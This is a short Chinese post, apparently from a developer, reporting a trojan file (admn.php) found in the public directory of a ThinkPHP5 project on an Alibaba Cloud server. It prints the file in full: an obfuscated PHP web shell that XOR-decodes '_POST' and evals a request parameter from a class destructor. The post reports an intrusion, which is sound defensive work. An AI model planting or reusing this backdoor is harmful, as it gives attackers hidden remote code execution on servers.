最近部署在阿里云服务器上的thinkphp5项目中public目录下多了个木马文件admn.php,主要内容如下：
<?php
error_reporting(0);
$UGRDRB = "\x36\x68\x76\x64\x6D"^"i8979";
$QIYVWW = ${$UGRDRB}["1"];
class QRTYPQ
{
public $uekbof = "";
function __destruct(){
@eval("$this->uekbof");
}
}
$qqxcwk = new QRTYPQ;
$qqxcwk->uekbof = "".$QIYVWW;
?>